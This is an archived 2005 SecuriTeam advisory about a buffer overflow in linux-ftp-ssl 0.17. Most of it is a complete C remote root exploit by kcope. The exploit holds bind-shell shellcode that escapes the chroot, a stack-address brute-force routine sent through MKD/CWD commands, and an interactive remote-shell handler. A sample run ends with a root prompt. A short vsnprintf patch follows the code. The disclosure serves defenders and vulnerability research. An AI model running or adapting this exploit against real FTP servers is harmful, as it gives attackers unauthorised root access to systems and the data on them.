

[EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0016.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/06/05

To: list@securiteam.com

Date: 6 Nov 2005 13:28:16 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Linux ftpd SSL Buffer Overflow (Exploit)

SUMMARY

<<http://freshmeat.net/projects/linux-ftp-ssl/>> linux-ftp-ssl is "the netkit FTP server with encryption support. ftpd-ssl replaces normal ftpd using SSL authentication and encryption. It operates together with normal ftp. It checks if the other side is also talking SSL, if not it falls back to normal FTP protocol. Advantages over normal ftp(d) are that your passwords and the data you send will not go in cleartext over the line, and nobody can get it with tcpdump or similar tools".

The following exploit code will overflow an internal buffer used by Linux ftpd's SSL support and open a shell on the remote host.

DETAILS

Vulnerable Systems:

* linux-ftp-ssl version 0.17

Exploit:

```
/*Oct2005 VER2*/
```

```
/**/
```

```
/** lnxFTPDssl_warez.c **/
```

```
/** linux-ftp-ssl 0.17 remote r00t exploit by kcope **/
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
/** for all of those who installed the ssl ready version **/  
/** of linux-ftp to be more "secure" **/  
/** **/  
/** be aware of the buffer overflows, **/  
/** the code is strong cryto **/  
/** ***/  
/** thanx blackzero,revoguard,wY!,net_spy **/  
/** Confidential. Keep Private! **/  
/** ***/  
/**  
C:\Dokumente und Einstellungen\Administrator\Desktop>telnet 192.168.2.9 21  
220 localhost.localdomain FTP server (Version 6.4/OpenBSD/Linux-ftp-0.17)  
ready.  
AUTH SSL  
234 AUTH SSL OK.  
;PpPpPPpPPpPPPPpPppPPPPpPpPPpPPpPpPPpPPpPPPPpPpp  
C:\Dokumente und Einstellungen\Administrator\Desktop>lnxFTPDssl_warez.exe  
192.168.2.9 kcope password  
lnxFTPDssl_warez.c  
linux-ftp-ssl 0.17 remote r00t exploit by kcope
```

connecting to 192.168.2.9:21... ok.

OK - STARTING ATTACK

```
+++ USING STACK ADDRESS 0xbfffcc03 +++  
+++ USING STACK ADDRESS 0xbfffcc13 +++  
+++ USING STACK ADDRESS 0xbfffcc23 +++  
+++ USING STACK ADDRESS 0xbfffcc33 +++  
+++ USING STACK ADDRESS 0xbfffcc43 +++  
+++ USING STACK ADDRESS 0xbfffcc53 +++  
+++ USING STACK ADDRESS 0xbfffcc63 +++  
+++ USING STACK ADDRESS 0xbfffcc73 +++  
+++ USING STACK ADDRESS 0xbfffcc83 +++  
+++ USING STACK ADDRESS 0xbfffcc93 +++  
+++ USING STACK ADDRESS 0xbffcca3 +++  
+++ USING STACK ADDRESS 0xbffccb3 +++  
+++ USING STACK ADDRESS 0xbffccc3 +++  
+++ USING STACK ADDRESS 0xbffccd3 +++  
+++ USING STACK ADDRESS 0xbffcce3 +++  
+++ USING STACK ADDRESS 0xbffccf3 +++  
+++ USING STACK ADDRESS 0xbffcd03 +++  
+++ USING STACK ADDRESS 0xbffcd13 +++  
+++ USING STACK ADDRESS 0xbffcd23 +++  
+++ USING STACK ADDRESS 0xbffcd33 +++  
+++ USING STACK ADDRESS 0xbffcd43 +++  
+++ USING STACK ADDRESS 0xbffcd53 +++  
+++ USING STACK ADDRESS 0xbffcd63 +++  
+++ USING STACK ADDRESS 0xbffcd73 +++  
+++ USING STACK ADDRESS 0xbffcd83 +++  
+++ USING STACK ADDRESS 0xbffcd93 +++  
+++ USING STACK ADDRESS 0xbffcda3 +++  
+++ USING STACK ADDRESS 0xbffcdb3 +++
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
+++ USING STACK ADDRESS 0xbffcdc3 +++
+++ USING STACK ADDRESS 0xbffccd3 +++
+++ USING STACK ADDRESS 0xbffcde3 +++
+++ USING STACK ADDRESS 0xbffcdf3 +++
+++ USING STACK ADDRESS 0xbffce03 +++
+++ USING STACK ADDRESS 0xbffce13 +++
+++ USING STACK ADDRESS 0xbffce23 +++
+++ USING STACK ADDRESS 0xbffce33 +++
+++ USING STACK ADDRESS 0xbffce43 +++
+++ USING STACK ADDRESS 0xbffce53 +++
+++ USING STACK ADDRESS 0xbffce63 +++
+++ USING STACK ADDRESS 0xbffce73 +++
+++ USING STACK ADDRESS 0xbffce83 +++
+++ USING STACK ADDRESS 0xbffce93 +++
+++ USING STACK ADDRESS 0xbffcea3 +++
+++ USING STACK ADDRESS 0xbffceb3 +++
+++ USING STACK ADDRESS 0xbffcec3 +++
```

Let's get ready to rumble!

```
id
```

```
uid=0(root) gid=0(root) egid=1000(kcope)
groups=1000(kcope),20(dialout),24(cdrom
),25(floppy),29(audio),44(video),46(plugdev)
```

```
uname -a
```

```
Linux debian 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
```

```
**/
```

```
// Tested on Linux 2.4.18-14 Redhat 8.0
```

```
// Linux 2.2.20-idepci Debian GNU 3.0
```

```
// Linux 2.4.27-2-386 Debian GNU 3.1
```

```
// CHECK VER3 FOR MORE SUPPORT!!!
```

```
// ***KEEP IT ULTRA PRIV8***
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
#include <string.h>
```

```
#include <sys/types.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
#include <arpa/inet.h>
```

```
#include <sys/time.h>
```

```
#include <unistd.h>
```

```
#include <netdb.h>
```

```
#include <errno.h>
```

```
#define BUF_SIZ 4096
```

```
#define PORT 21
```

```
#define BINDPORT 30464
```

```
#define STACK_START 0xbffcc03
```

```
#define STACK_END 0xbffff4f0
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
/*my shellcode*/
/*setreuid,chroot break,
bind to port 30464, 0xff is double*/
unsigned char lnx_bind[] =
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x70\x31\xC0\x31\xDB\x31\xC9"
"\xB0\x46\xCD\x80\x5E\x90\xB8\xBE"
"\xff\xff\xff\xff\xff\xff\xF7\xD0"
"\x89\x06\xB0\x27\x8D\x1E\xFE\xC5"
"\xB1\xED\xCD\x80\x31\xC0\x8D\x1E"
"\xB0\x3D\xCD\x80\x66\xB9\xff\xff"
"\x03\xBB\xD2\xD1\xD0\xff\xff\xF7"
"\xDB\x89\x1E\x8D\x1E\xB0\x0C\xCD"
"\x80\xE2\xEF\xB8\xD1\xff\xff\xff"
"\xff\xff\xff\xF7\xD0\x89\x06\xB0"
"\x3D\x8D\x1E\xCD\x80\x31\xC0\x31"
"\xDB\x89\xF1\xB0\x02\x89\x06\xB0"
"\x01\x89\x46\x04\xB0\x06\x89\x46"
"\x08\xB0\x66\x43\xCD\x80\x89\xF1"
"\x89\x06\xB0\x02\x66\x89\x46\x0C"
"\xEB\x04\xEB\x74\xEB\x77\xB0\x77"
"\x66\x89\x46\x0E\x8D\x46\x0C\x89"
"\x46\x04\x31\xC0\x89\x46\x10\xB0"
"\x10\x89\x46\x08\xB0\x66\x43\xCD"
"\x80\xB0\x01\x89\x46\x04\xB0\x66"
"\xB3\x04\xCD\x80\x31\xC0\x89\x46"
"\x04\x89\x46\x08\xB0\x66\xB3\x05"
"\xCD\x80\x88\xC3\xB0\x3F\x31\xC9"
"\xCD\x80\xB0\x3F\xB1\x01\xCD\x80"
"\xB0\x3F\xB1\x02\xCD\x80\xB8\xD0"
"\x9D\x96\x91\xF7\xD0\x89\x06\xB8"
"\xD0\x8C\x97\xD0\xF7\xD0\x89\x46"
"\x04\x31\xC0\x88\x46\x07\x89\x76"
"\x08\x89\x46\x0C\xB0\x0B\x89\xF3"
"\x8D\x4E\x08\x8D\x56\x0C\xCD\x80"
"\xE8\x15\xff\xff\xff\xff\xff";

long ficken() {
    printf("lnxFTPDssl_warez.c\nlinux-ftp-ssl 0.17 remote r00t exploit by
kcope\n\n");
    return 0xc0debabe;
}

void usage(char **argv) {
    printf("Insufficient parameters given.\n");
    printf("Usage: %s <remotehost> <user> <pass> [writeable directory]\n",
argv[0]);
    exit(0);
}
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
void _recv(int sock, char *buf) {
    int bytes=recv(sock, buf, BUFSIZ, 0);
    if (bytes < 0) {
        perror("read() failed");
        exit(1);
    }
}

void attack(int sock, unsigned long ret, char *pad) {
    int i,k;
    char *x=(char*)malloc(1024);
    char *bufm=(char*)malloc(1024);
    char *bufc=(char*)malloc(1024);
    char *rbuf=(char*)malloc(BUFSIZ+10);
    char *nops=(char*)malloc(1024);
    unsigned char a,b,c,d;

    memset(nops,0,1024);
    memset(nops,0x90,255);
    memset(x,0,1024);
    for (i=0,k=0;i<60;i++) {
        a=(ret >> 24) & 0xff;
        b=(ret >> 16) & 0xff;
        c=(ret >> 8) & 0xff;
        d=(ret) & 0xff;

        if (d==255) {
            x[k]=d;
            x[++k]=255;
        } else {
            x[k]=d;
        }

        if (c==255) {
            x[k+1]=c;
            x[++k+1]=255;
        } else {
            x[k+1]=c;
        }

        if (b==255) {
            x[k+2]=b;
            x[++k+2]=255;
        } else {
            x[k+2]=b;
        }

        if (a==255) {
            x[k+3]=a;
            x[++k+3]=255;
        } else {
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
x[k+3]=a;
}

k+=4;
}

snprintf(bufm, 1000, "MKD %s%s\r\n", pad, x); // 1x'A' redhat 8.0 / 2x'A'
debian gnu 3.0 / 3x'A' debian gnu 3.1
snprintf(bufc, 1000, "CWD %s%s\r\n", pad, x);
for (i=0; i<11; i++) {
    send(sock, bufm, strlen(bufm), 0);
    recv(sock, rbuf, BUFSIZ, 0);
    send(sock, bufc, strlen(bufc), 0);
    recv(sock, rbuf, BUFSIZ, 0);
}

for (i=0; i<2; i++) {
    snprintf(bufm, 1000, "MKD %s\r\n", lnx_bind);
    snprintf(bufc, 1000, "CWD %s\r\n", lnx_bind);
    send(sock, bufm, strlen(bufm), 0);
    recv(sock, rbuf, BUFSIZ, 0);
    send(sock, bufc, strlen(bufc), 0);
    recv(sock, rbuf, BUFSIZ, 0);

    snprintf(bufm, 1000, "MKD %s\r\n", nops);
    snprintf(bufc, 1000, "CWD %s\r\n", nops);
    send(sock, bufm, strlen(bufm), 0);
    recv(sock, rbuf, BUFSIZ, 0);
    send(sock, bufc, strlen(bufc), 0);
    recv(sock, rbuf, BUFSIZ, 0);
}

send(sock, "XPWD\r\n", strlen("XPWD\r\n"), 0);

free(bufm);
free(bufc);
free(x);
free(rbuf);
}

int do_remote_shell(int sockfd)
{
    while(1)
    {
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sockfd,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL))
        {
            int cnt;
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
char buf[1024];
if(FD_ISSET(0,&fds))
{
    if((cnt=read(0,buf,1024))<1)
    {
        if(errno==EWOULDBLOCK||errno==EAGAIN)
            continue;
        else
            break;
    }
    write(sockfd,buf,cnt);
}
if(FD_ISSET(sockfd,&fds))
{
    if((cnt=read(sockfd,buf,1024))<1)
    {
        if(errno==EWOULDBLOCK||errno==EAGAIN)
            continue;
        else
            break;
    }
    write(1,buf,cnt);
}
}
```

```
int do_connect (char *remotehost, int port) {
    struct hostent *host;
    struct sockaddr_in addr;
    int s;

    if (!inet_aton(remotehost, &addr.sin_addr))
    {
        host = gethostbyname(remotehost);
        if (!host)
        {
            perror("gethostbyname() failed");
            return -1;
        }
        addr.sin_addr = *(struct in_addr*)host->h_addr;
    }

    s = socket(PF_INET, SOCK_STREAM, 0);
    if (s == -1)
    {
        perror("socket() failed");
        return -1;
    }

    addr.sin_port = htons(port);
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
addr.sin_family = AF_INET;

if (connect(s, (struct sockaddr*)&addr, sizeof(addr)) == -1)
{
    if (port == PORT) perror("connect() failed");
    return -1;
}

return s;
}

void do_login(int s, char *buf, char *sendbuf, char *user, char *pass) {
    memset(buf, 0, sizeof(buf));
    memset(sendbuf, 0, sizeof(sendbuf));
    do {
        _recv(s, buf);
    } while (strstr(buf, "220 ") == NULL);
    snprintf(sendbuf, BUFSIZ, "USER %s\r\n", user);
    send(s, sendbuf, strlen(sendbuf), 0);
    do {
        _recv(s, buf);
    } while (strstr(buf, "331 ") == NULL);

    snprintf(sendbuf, BUFSIZ, "PASS %s\r\n", pass);
    send(s, sendbuf, strlen(sendbuf), 0);
    do {
        _recv(s, buf);
    } while (strstr(buf, "230 ") == NULL);
}

int main(int argc, char **argv) {
    char remotehost[255];
    char user[255];
    char pass[255];
    char pad[10];
    char *buf,*sendbuf;
    int stackaddr=STACK_START;
    int s,sr00t,i;

    ficken();
    if (argc < 4)
        usage(argv);

    strncpy(remotehost, argv[1], sizeof(remotehost));
    remotehost[sizeof(remotehost)-1]=0;
    strncpy(user, argv[2], sizeof(user));
    user[sizeof(user)-1]=0;
    strncpy(pass, argv[3], sizeof(pass));
    pass[sizeof(pass)-1]=0;

    printf("connecting to %s:%d...", remotehost, PORT);
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
fflush(stdout);

s=do_connect(remotehost, PORT);

puts(" ok.");
buf=(char*)malloc(BUFSIZ+10);
sendbuf=(char*)malloc(BUFSIZ+10);
do_login(s, buf, sendbuf, user, pass);

if (strstr(buf, "230")!=NULL) {
printf("OK - STARTING ATTACK\n");
i=0;
while (stackaddr <= STACK_END) {
printf("+++ USING STACK ADDRESS 0x%.08x +++\n", stackaddr);

sleep(1);

if (i==1) {
strcpy(pad, "A");
}

if (i==2) {
strcpy(pad, "AA");
}

if (i==3) {
strcpy(pad, "AAA");
i=0;
}

attack(s, stackaddr, pad);
close(s);
s=do_connect(remotehost, PORT);
do_login(s, buf, sendbuf, user, pass);

if (argv[4] != NULL) {
snprintf(sendbuf, BUFSIZ, "CWD %s\r\n", argv[4]);
send(s, sendbuf, strlen(sendbuf), 0);
recv(s, buf, BUFSIZ, 0);
}

if((sr00t=do_connect(remotehost, BINDPORT)) > 0) {
/* XXX Remote r00t */
printf("\nLet's get ready to rumble!\n");
do_remote_shell(sr00t);
exit(0);
}

stackaddr+=16;
i++;
}
```

Securiteam: [EXPL] Linux ftpd SSL Buffer Overflow (Exploit)

```
} else {
printf("\nLogin incorrect\n");
exit(1);
}

free(buf);
free(sendbuf);
return 0;
}
```

Patch: (provided by James Longstreet)

```
--- linux-ftp-0.17/ftpd/ftpd.c 2005-11-05 17:04:53.000000000 -0600
+++ linux-ftp-0.17-patched/ftpd/ftpd.c 2005-11-05
17:11:54.000000000 -0600
@@ -2082,9 +2082,9 @@
     va_start(ap);
#endif
#ifdef USE_SSL
- /* assemble the output into a buffer */
+ /* assemble the output into a buffer, checking for length*/
    sprintf(outputbuf,"%d ",n);
- vsprintf(outputbuf+strlen(outputbuf),fmt,ap);
+ vsnprintf(outputbuf+strlen(outputbuf),2048-(strlen(outputbuf) +
3),fmt,ap);
    strcat(outputbuf,"\r\n");
    if (ssl_debug_flag)
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:kingcope@gmx.net>> kcope.
The patch has been provided by <<mailto:jlongs2@uic.edu>> James Longstreet.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.